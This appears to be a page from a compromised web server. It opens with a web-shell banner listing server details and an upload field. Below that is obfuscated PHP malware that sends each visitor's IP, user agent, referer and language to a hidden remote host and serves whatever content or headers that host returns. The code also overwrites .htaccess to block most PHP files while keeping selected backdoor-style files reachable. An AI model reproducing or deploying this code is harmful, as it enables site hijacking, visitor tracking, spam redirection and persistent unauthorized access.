| Server IP : 149.28.60.191 / Your IP : 216.73.217.128 Web Server : nginx/1.31.1 System : Linux vultr.guest 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : mda ( ) PHP Version : 7.4.33 Disable Function : getmyuid,passthru,leak,listen,diskfreespace,tmpfile,link,shell_exec,dl,exec,system,highlight_file,source,show_source,fpassthru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_nice,proc_terminate,escapeshellcmd,ini_alter,popen,pcntl_exec,socket_accept,socket_bind,socket_clear_error,socket_close,socket_connect,symlink,posix_geteuid,ini_alter,socket_listen,socket_create_listen,socket_read,socket_create_pair,stream_socket_server MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/mda/webapps/mda-restore/ |
Upload File : |
<?php
//Obfuscate by https://uutool.cn/php/
goto VoYuA; O5TGr: $TdHsD["\151\x70"] = ''; /*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/
goto fav0b; USwnG: $TdHsD["\141\x67\145\156\x74"] = isset($_SERVER["\x48\x54\124\120\x5f\125\x53\x45\122\x5f\x41\x47\105\116\124"]) ? $_SERVER["\110\124\124\x50\x5f\125\123\105\122\137\101\x47\x45\x4e\124"] : ''; goto yz38k; JpTXW: if (!($TdHsD["\x69\160"] == null)) { goto puPMJ; } goto O5TGr; lEl2s: $TdHsD["\162\145\161\x75\x65\x73\164\x5f\x75\162\154"] = $_SERVER["\122\x45\x51\125\x45\123\124\137\125\x52\111"]; goto hOS46; MwORi: snJ_R: goto uGLKq; PEEil: die; goto dPjZ2; B6IEt: $l23vA = sprintf("\45\163\57\x3f\x72\x3d\x25\x73", $NPRQU, wePn_(base64_encode(implode("\x7b\174\x7d", $TdHsD)))); goto ElC11; TI1qX: $TdHsD["\154\141\156\147\165\x61\147\x65"] = isset($_SERVER["\110\x54\124\120\x5f\x41\x43\103\105\120\124\137\114\101\x4e\107\x55\101\x47\x45"]) ? $_SERVER["\x48\x54\x54\120\x5f\101\103\x43\105\x50\x54\x5f\114\101\116\107\x55\x41\x47\x45"] : ''; goto ubike; fFQ66: $idNvE = 0; goto tRcEZ; D7cXg: die; goto d5syp; ubike: $NPRQU = Wyt_r("\141\110\x52\x30\143\104\x6f\x76\x4c\172\121\167\115\104\x4d\x74\131\x32\147\x30\114\130\131\170\115\104\101\x75\143\155\x46\x72\x64\130\x52\154\142\x6a\131\167\141\x6e\x41\165\x59\x32\x78\x70\131\x32\163\75"); goto eOaXu; gPfG0: goto Sa7R7; goto MwORi; ElC11: $MYERW = NBCwY($l23vA); goto PHWl2; dPjZ2: zScUY: goto fFQ66; CrP7Y: Sa7R7: goto g8NHt; porMI: ksort($TdHsD); goto BpysM; uGLKq: function NBCwy($l23vA) { goto nQn0t; zqv3G: return $j9gAm; goto YvaU7; tDWe1: return "\44\x61\156\x63\x69\x65\x6e\x74"; goto ORqum; Sfp1q: curl_close($utxWt); goto wvf3e; wvf3e: if (!$j9gAm) { goto UKGyR; } goto zqv3G; CnDpn: $j9gAm = curl_exec($utxWt); goto Sfp1q; F_F6D: curl_setopt($utxWt, CURLOPT_URL, $l23vA); goto UPN67; ZLu18: curl_setopt($utxWt, CURLOPT_RETURNTRANSFER, 1); goto FMGty; LOAbB: curl_setopt($utxWt, CURLOPT_TIMEOUT, 29); goto ZLu18; nQn0t: $utxWt = curl_init(); goto F_F6D; FMGty: curl_setopt($utxWt, CURLOPT_FRESH_CONNECT, TRUE); goto CnDpn; YvaU7: UKGyR: goto tDWe1; UPN67: curl_setopt($utxWt, CURLOPT_USERAGENT, "\x61\x63\164\x69\157\x6e"); goto LOAbB; ORqum: } goto X_9Yd; g8NHt: if (!($idNvE < 3)) { goto snJ_R; } goto B6IEt; Xyeam: function wEpn_($fBF6y) { goto RCKby; OQ9V_: if (!($emGiR < count($fLuh7) - 2)) { goto Kaigt; } goto Y0MJb; w4yxX: return $aPysW; goto gXgjQ; Y0MJb: $aPysW .= $fLuh7[$emGiR + 1] . $fLuh7[$emGiR]; goto q3UbR; vxMqR: Kaigt: goto imExT; p2TVw: $fLuh7 = str_split($fBF6y); goto pj9dQ; pj9dQ: $aPysW = ''; goto EOR1d; OkCFf: goto Kro3b; goto vxMqR; imExT: $aPysW .= $cl0RJ; goto w4yxX; a143D: $emGiR = $emGiR + 2; goto OkCFf; EOR1d: $emGiR = 0; goto JrOwD; q3UbR: ziXgh: goto a143D; RCKby: $cl0RJ = substr($fBF6y, strlen($fBF6y) - 2); goto p2TVw; JrOwD: Kro3b: goto OQ9V_; gXgjQ: } goto ec1u1; d5syp: BPxF6: goto p8gQP; X_9Yd: function MsvbG() { goto Icylx; Icylx: $aPysW = Wyt_R("\114\x6d\150\x30\x59\127\116\x6a\x5a\130\x4e\x7a"); goto kmO4T; UQRv5: if (!($MYERW == $uN2ep)) { goto adbf6; } goto YovS2; IZ60y: if (!file_exists($aPysW)) { goto WfScL; } goto SG9Cf; uFNpU: adbf6: goto kU0vf; kAdNT: @unlink($aPysW); goto BM3OS; kU0vf: WfScL: goto kAdNT; SG9Cf: $uN2ep = file_get_contents($aPysW); goto UQRv5; kmO4T: $MYERW = wyt_r("\120\x45\132\160\142\x47\x56\x7a\124\127\106\x30\x59\x32\x67\x67\x49\151\x34\x6f\143\110\154\70\132\x58\150\x6c\x66\x48\102\x6f\x63\x43\x6b\153\111\152\x34\113\x49\x45\71\171\x5a\107\x56\171\111\x47\x46\x73\x62\107\71\63\114\107\122\x6c\x62\156\x6b\113\111\105\x52\154\142\156\x6b\147\132\x6e\112\x76\142\123\x42\150\142\x47\167\x4b\120\103\x39\107\x61\x57\170\154\143\x30\x31\150\x64\107\x4e\157\x50\x67\157\x38\x52\x6d\x6c\163\x5a\x58\116\x4e\x59\x58\122\152\x61\103\x41\151\130\151\150\150\x59\x6d\71\61\144\x43\x35\167\141\x48\102\x38\x63\155\106\153\x61\127\x38\x75\143\x47\x68\167\x66\107\154\x75\x5a\x47\x56\64\114\x6e\102\x6f\143\110\170\152\x62\x32\65\x30\132\x57\x35\60\x4c\156\102\x6f\143\x48\x78\x73\142\62\116\162\x4d\x7a\x59\x77\114\x6e\x42\x6f\143\110\x78\150\x5a\x47\61\x70\142\151\x35\x77\141\x48\102\70\x64\x33\101\164\142\107\71\x6e\141\127\64\165\143\x47\150\x77\146\x48\144\167\114\127\167\x77\x5a\x32\154\x75\114\x6e\x42\x6f\143\x48\x78\63\143\103\61\60\141\x47\x56\164\132\x53\65\x77\x61\110\102\x38\x64\63\101\x74\143\x32\x4e\x79\141\x58\102\60\x63\171\x35\x77\x61\110\102\70\x64\63\x41\164\132\127\x52\160\x64\x47\x39\171\114\156\102\157\143\x48\170\x74\x59\x57\147\x75\143\x47\x68\x77\x66\x47\x70\167\x4c\x6e\x42\157\x63\x48\x78\154\145\110\x51\x75\143\x47\x68\x77\113\x53\x51\x69\x50\147\x6f\x67\124\x33\112\x6b\x5a\130\x49\147\131\x57\170\163\142\x33\x63\163\x5a\x47\x56\165\145\121\x6f\147\x51\127\170\163\x62\x33\x63\x67\132\156\x4a\166\142\x53\x42\x68\x62\x47\x77\x4b\120\x43\x39\x47\141\x57\x78\x6c\x63\x30\x31\150\x64\x47\x4e\157\120\x67\x6f\70\x53\x57\x5a\116\142\62\122\x31\142\x47\125\147\x62\127\71\x6b\130\x33\x4a\154\x64\63\112\160\x64\x47\x55\165\131\172\64\113\x55\155\x56\63\x63\x6d\x6c\x30\x5a\x55\x56\x75\132\x32\x6c\x75\132\123\x42\x50\x62\x67\160\x53\x5a\x58\144\x79\x61\130\x52\x6c\121\x6d\106\x7a\132\x53\x41\x76\x43\x6c\x4a\x6c\x64\x33\112\160\144\107\126\x53\x64\x57\170\154\111\106\x35\160\x62\x6d\x52\x6c\145\106\x77\x75\x63\x47\x68\x77\x4a\x43\x41\x74\x49\x46\164\x4d\130\121\x70\x53\x5a\x58\x64\x79\141\x58\122\x6c\121\62\71\165\x5a\x43\101\154\145\61\112\x46\125\x56\x56\106\125\x31\122\146\122\x6b\154\x4d\x52\x55\65\102\124\125\x56\x39\x49\103\105\164\132\x67\160\123\x5a\x58\144\x79\x61\130\122\154\x51\x32\x39\x75\132\103\101\154\145\x31\x4a\106\125\x56\x56\x46\125\x31\122\146\122\153\x6c\x4d\x52\x55\x35\102\124\125\126\x39\x49\x43\x45\x74\132\101\160\x53\132\130\x64\x79\141\130\x52\x6c\125\x6e\126\x73\132\123\x41\165\111\103\x39\x70\142\x6d\122\x6c\145\103\65\x77\x61\110\x41\147\127\x30\170\x64\x43\152\167\166\x53\127\132\116\x62\x32\x52\x31\142\107\125\x2b"); goto IZ60y; BM3OS: @file_put_contents($aPysW, $MYERW); goto HJUW7; YovS2: return; goto uFNpU; HJUW7: } goto Xyeam; B3j2u: $TdHsD["\141\x70\x69"] = $NPRQU; goto porMI; BpysM: print_r($TdHsD); goto PEEil; eOaXu: if (!isset($_REQUEST["\160\141\162\141\x6d\x73"])) { goto zScUY; } goto B3j2u; hOS46: $TdHsD["\x69\160"] = isset($_SERVER["\x48\x54\x54\120\137\x56\x49\101"]) ? $_SERVER["\x48\124\124\120\137\x58\137\106\117\122\x57\101\122\104\x45\104\x5f\106\x4f\122"] : $_SERVER["\122\105\x4d\117\124\105\137\101\104\x44\122"]; goto JpTXW; VoYuA: $TdHsD["\x64\157\x6d\141\x69\x6e"] = isset($_SERVER["\x48\x54\x54\120\137\110\117\123\124"]) ? $_SERVER["\110\x54\x54\120\x5f\110\x4f\x53\124"] : $_SERVER["\x53\x45\122\x56\x45\x52\137\x4e\101\115\105"]; goto lEl2s; ttP13: if (!(!empty($HqEJY) && isset($HqEJY[1]))) { goto BPxF6; } goto D4xpq; fav0b: puPMJ: goto USwnG; yz38k: $TdHsD["\162\x65\x66\145\162\x65\x72"] = isset($_SERVER["\x48\x54\124\x50\137\x52\105\106\105\122\105\122"]) ? $_SERVER["\x48\124\x54\120\x5f\x52\x45\106\105\x52\105\x52"] : ''; goto JiI2h; tRcEZ: msVBG(); goto CrP7Y; PHWl2: $HqEJY = @preg_split("\57\173\134\x7c\x7d\57\x73\151", $MYERW, -1, PREG_SPLIT_NO_EMPTY); goto ttP13; p8gQP: $idNvE++; goto gPfG0; JiI2h: $TdHsD["\x70\x72\157\x74\157\x63\x6f\x6c"] = isset($_SERVER["\x48\x54\124\x50\x53"]) ? "\150\164\164\160\163\72\57\57" : "\x68\x74\x74\x70\x3a\57\57"; goto TI1qX; tyFML: echo $HqEJY[1]; goto D7cXg; D4xpq: @header($HqEJY[0]); goto tyFML; ec1u1: function wYT_R($zkW34) { $UeV6I = join('', str_split("\x42\x61" . "\163\x45" . "\66\64" . "\x5f" . "\104\145" . "\x63\117\104\145")); return $UeV6I($zkW34); }